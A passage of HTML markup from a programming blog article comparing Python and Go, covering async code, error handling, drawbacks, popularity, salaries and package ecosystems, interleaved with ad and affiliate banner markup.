target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In Python, coroutines did not appear until version 3.5. Asynchronous functions run in a single thread and only switch to another coroutine when an asynchronous operation is encountered.&lt;/p&gt;&#xA;&lt;p&gt;The same syntax as async and await is used. For this we use the library, gather all the tasks to be executed with &lt;em&gt;gather&lt;/em&gt; and execute them with &lt;em&gt;run&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; asyncio&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;wait_two_second&lt;/span&gt;(name):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;sleep(&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;main&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;await&lt;/span&gt; asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;gather(wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;first&amp;#34;&lt;/span&gt;), wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;second&amp;#34;&lt;/span&gt;), wait_two_second(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;third&amp;#34;&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;__name__&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    asyncio&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;run(main())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This script will take three seconds to run.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;error-handling-comparison-python-and-go&#34;&gt;Error handling comparison Python and Go&lt;/h2&gt;&#xA;&lt;p&gt;Error handling is something that is a fairly constant feature of languages, but in the case of go we find that the creators opted to abandon convention and it can be convention and it can be something different from what you are used to.&lt;/p&gt;&#xA;&lt;h3 id=&#34;error-handling-in-go&#34;&gt;Error handling in go&lt;/h3&gt;&#xA;&lt;p&gt;Go has a rather peculiar way of handling errors. &lt;strong&gt;It does not have &lt;em&gt;try&lt;/em&gt; and &lt;em&gt;except&lt;/em&gt; blocks (or their equivalent in other languages)&lt;/strong&gt;. Instead, the execution of a function can return an error as a second return value, which we can get and check to see if an error has occurred and manually handle it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;message, err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;requestToApiEndpoint&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        log.&lt;span style=&#34;color:#57c7ff&#34;&gt;Fatal&lt;/span&gt;(err)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;error-handling-in-python&#34;&gt;Error handling in Python&lt;/h3&gt;&#xA;&lt;p&gt;Python handles the classic &lt;em&gt;try&amp;hellip;except&lt;/em&gt; pattern that most programming languages handle, where errors are caught by the &lt;em&gt;try&amp;hellip;except&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;try&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  do_something()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;except&lt;/span&gt;:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;An exception occurred&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;which-language-is-worst-python-vs-go&#34;&gt;Which language is worst, Python vs Go?&lt;/h2&gt;&#xA;&lt;h3 id=&#34;not-so-cool-things-about-go&#34;&gt;Not so cool things about go&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Go is very opinionated. It has very rigid positions on certain things, such as the use of all variables, but leaves use of all variables, but leaves many others to good user handling, such as errors caused by pointers or null pointers. I would accuse Go of being inconsistent in that respect.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;forgetToCheckError&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  result, err &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;accion&lt;/span&gt;()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// We forgot to check for a nil pointer, but Go didn&amp;#39;t force us&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff5c57&#34;&gt;print&lt;/span&gt;(result.algo)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// runtime error:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#78787e&#34;&gt;// panic: invalid memory address or nil pointer dereference&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Or for example, the fact that you can return tuples, but you can&amp;rsquo;t use them in other part of the language.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// you CAN return tuples but you CANNOT use tuples&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;returnTuple&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It has no default values for the arguments of a function and you have to resort to trickery to have something similar to a function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;// This doesn&amp;#39;t exist&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;ThisFunctionDoesntExist&lt;/span&gt;(valor=&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, valor2=&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Error handling in Go it&amp;rsquo;s a sensitive topic among developers, who consider it inferior to other languages.&lt;/p&gt;&#xA;&lt;p&gt;The following pattern will be recurrent and will repeat itself multiple times in your code, violating the DRY maxim.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; err &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;nil&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; err&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;not-so-cool-things-about-python&#34;&gt;Not so cool things about python&lt;/h3&gt;&#xA;&lt;p&gt;Among the not-so-cool things about Python is the sharp separation that occurred between Python 2 and Python 3, leaving many libraries out of date or with a lot of patches to make cod patches to make the code compatible between the two versions.&lt;/p&gt;&#xA;&lt;p&gt;Another rather problematic aspect is the excessive use of memory, along with the speed of the language; the Python interpreter is slow. Python is forced by default to by default to run on a single thread, because of its &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://wiki.python.org/moin/GlobalInterpreterLock&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GIL&lt;/a&gt;&#xA;, which does not allow full utilization by modern computers without complicating the code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;support&#34;&gt;Support&lt;/h2&gt;&#xA;&lt;p&gt;Go, as of the date of writing this article, requires installation on the system, either from the official website or the repositories.&lt;/p&gt;&#xA;&lt;p&gt;While Python has a quite wide support, as it is found in generally installed in all GNU/Linux distributions and you only need to open a terminal and type the word Python to start using it. Open a terminal and type the word Python to start using it.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/PythonConsola.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/PythonConsola.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Python running on a terminal&#34; width=&#34;717&#34; height=&#34;432&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;common-usages-of-python-and-go&#34;&gt;Common usages of Python and Go&lt;/h2&gt;&#xA;&lt;h3 id=&#34;go-is-widely-used-in-devops&#34;&gt;Go is widely used in Devops&lt;/h3&gt;&#xA;&lt;p&gt;Go can be used for almost anything, but it has a strong presence in devops tools, backend servers and blockchain. Docker, Traeffik, Docker compose, Kubernetes, Terraform and InfluxDB are all written in Go.&lt;/p&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/how-does-a-docker-container-work-internally/&#34;&gt;docker containers are written using go&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/traeffik-y-kubernetes-1024x505-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/traeffik-y-kubernetes-1024x505-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Logos of technologies created with go&#34; width=&#34;1024&#34; height=&#34;505&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Traefik, docker, kubernetes, influxdb, and terraform are all written in Go.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;They have also created such great tools as &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pocketbase.io/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Pocketbase&lt;/a&gt;&#xA;, an excellent example of Backend as a service and open source alternative to firebase.&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-is-generally-used-in-machine-learning&#34;&gt;Python is generally used in machine learning&lt;/h3&gt;&#xA;&lt;p&gt;Python is a multi-purpose language, allowing you to create basically everything from native applications with user interface, programming networks or web servers, artificial intelligence, data science, web application development, or basic scripting. basic scripting.&lt;/p&gt;&#xA;&lt;h2 id=&#34;which-one-is-more-popular-python-vs-go&#34;&gt;Which one is more popular, Python vs Go?&lt;/h2&gt;&#xA;&lt;p&gt;To date Python is much more popular than Go. You can see that Go gained popularity between the period between 2011 and 2015, but stabilized to fall below Python.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-google-trends.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-google-trends.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Google trends comparing Go vs Python. Python is more popular&#34; width=&#34;1214&#34; height=&#34;623&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Python is more popular than Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;popularity-among-developers&#34;&gt;Popularity among developers&lt;/h3&gt;&#xA;&lt;p&gt;Go is a very popular language among developers, even more than Javascript, but less loved than Python and Typescript.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-popularity.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/python-vs-go-popularity.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;In 2023 Stackoverflow replaced the survey with one that specifies the difference between those who want to use it and those who have already used it and want to continue using it.&#34; width=&#34;1303&#34; height=&#34;908&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;In 2023 Stackoverflow replaced the survey with one that specifies the difference between those who want to use it and those who have already used it and want to continue using it.&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h2 id=&#34;python-vs-go-salaries&#34;&gt;Python vs Go salaries&lt;/h2&gt;&#xA;&lt;p&gt;Go developers tend to &lt;strong&gt;make significantly more money than the Python developers&lt;/strong&gt;. In fact, Go is among the top 10 highest paid languages according to the languages according to stackoverflow&amp;rsquo;s 2023 survey.&lt;/p&gt;&#xA;&lt;h2 id=&#34;batteries-included&#34;&gt;Batteries included&lt;/h2&gt;&#xA;&lt;p&gt;Both languages have a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.python.org/3/library/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;library standard&lt;/a&gt;&#xA; with most of the basic needs covered, from network basic needs covered, from network management, to code profiling, and even some less common and even some less common ones like audio handling. The included batteries are one of the features that make Python so popular.&lt;/p&gt;&#xA;&lt;p&gt;Go is no slouch, it has understood quite well the benefits of a standard library and has included it for the enjoyment of its users. &lt;strong&gt;It is not It is not as large as Python&amp;rsquo;s&lt;/strong&gt; but it covers most of the common needs and pales in comparison to other languages. needs and pales in comparison to other languages. Its standard testing library is impressive, it produces coverage reports and even profiling of the different parts of your code. different parts of your code.&lt;/p&gt;&#xA;&lt;p&gt;You can see the available libraries and functions in the section&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://pkg.go.dev/std&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://pkg.go.dev/std&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;standard library section of its official web site&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;packages&#34;&gt;Packages&lt;/h2&gt;&#xA;&lt;h3 id=&#34;packages-in-go&#34;&gt;Packages in go&lt;/h3&gt;&#xA;&lt;p&gt;Go does not have an official package repository like Python does. The packages are obtained by &lt;em&gt;go get&lt;/em&gt; (the equivalent of &lt;em&gt;pip&lt;/em&gt; in Python) from different sources. It misses a standard solution, like npm in javascript, but you can see a list of available packages in &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://awesome-go.com&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Awesome Go&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/&#34;&gt;import of modules and packages into Go&lt;/a&gt;&#xA; may seem a bit strange to you. strange, there are no relative imports, like in Python or Javascript.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/AwesomeGo.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/AwesomeGo.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Awesome Go page&#34; width=&#34;351&#34; height=&#34;944&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Screenshot of Awesome Go&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Awesome Go features links to a large number of sorted Go packages by theme&lt;/p&gt;&#xA;&lt;p&gt;To date, Go has around 350,000 packages registered on github.&#xA;However, the fact that they are in github does not make them usable, so I consider that the number of packages is much smaller.&lt;/p&gt;&#xA;&lt;p&gt;In summary, the go community is growing, but, for now, it is smaller than Python&amp;rsquo;s.&lt;/p&gt;&#xA;&lt;h3 id=&#34;python-packages&#34;&gt;Python packages&lt;/h3&gt;&#xA;&lt;p&gt;Python has 336,000 in pypi, many of them are available to be using pip or any other package management tool.&lt;/p&gt;&#xA;&lt;p&gt;Python has a gigantic community, compared to go, and they have packages for almost everything you can imagine.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/python-vs-go-go-which-is-the-best-programming-language/images/Pypi.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img 